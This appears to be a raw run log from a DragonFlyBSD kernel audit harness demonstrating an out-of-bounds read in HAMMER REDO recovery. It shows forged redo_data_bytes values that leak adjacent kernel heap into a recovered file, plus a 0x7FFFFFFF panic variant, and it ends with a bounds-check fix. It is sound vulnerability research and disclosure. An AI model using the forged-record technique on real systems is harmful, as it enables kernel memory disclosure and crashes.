DragonFlyBSD Kernel Audit
DF-0812 / run.log
← back to finding ↓ download raw
=== DF-0812 harness: unvalidated redo_data_bytes -> OOB ===

sizeof(hammer_fifo_head) = 16
sizeof(hammer_fifo_redo) = 56 (head + payload fields)
sizeof(hammer_fifo_tail) = 8
redo->redo_data_bytes offset within redo = 32
(redo+1) = first byte after the 56-byte redo struct = payload[0]

--- legitimate REDO record (pre-patch) ---
hdr_size          = 96
redo_data_bytes   = 32  (legitimate, <= capacity 32)
payload bytes     = 32 @ offset 56 in buffer
CRC covers        = 96 bytes (the whole record)
CRC does NOT cover= bytes past offset 96 in this 16KB buffer

--- UNDO path validation (recover.c:1053-1060) ---
  bytes = hdr_size - sizeof(*undo) - sizeof(tail) = 32
  if (bytes < 0 || undo_data_bytes < 0 || undo_data_bytes > bytes) return EIO;
  -> UNDO would REJECT redo_data_bytes > 32

=== ATTACK: forge redo_data_bytes = 4096 (capacity is 32) ===
vn_rdwr source     = (redo+1) = buf+56
vn_rdwr length     = redo_data_bytes = 4096
in-record bytes    = 40 (CRC-covered, legitimate payload space)
OOB bytes          = 4056 (past the record, into adjacent heap)

First 64 OOB bytes (kernel heap, written to recovered file):
  AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 
  AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 
  AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 
  AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 
  

These are 0xAA fill bytes = uninitialized/adjacent kernel heap.
In a real kernel they would be whatever data follows the
REDO record in the hammer_buffer or the adjacent slab object.

=== PANIC variant: redo_data_bytes = 0x7FFFFFFF ===
vn_rdwr length     = 2147483647 (2 GB - 1)
(redo+1) + 0x7FFFFFFF walks ~2 GB of kernel virtual space
-> bcopy hits an unmapped page -> Fatal trap 12 page fault

=== The fix: validate redo_data_bytes before vn_rdwr ===
  if (redo->redo_data_bytes < 0 ||
      redo->redo_data_bytes > hdr_size - sizeof(*redo) - sizeof(tail))
      break;  /* mirror recover.c:1053-1060 */

With this check, forged redo_data_bytes=4096 > capacity=32 -> rejected.

=== harness complete: OOB extent proven deterministically ===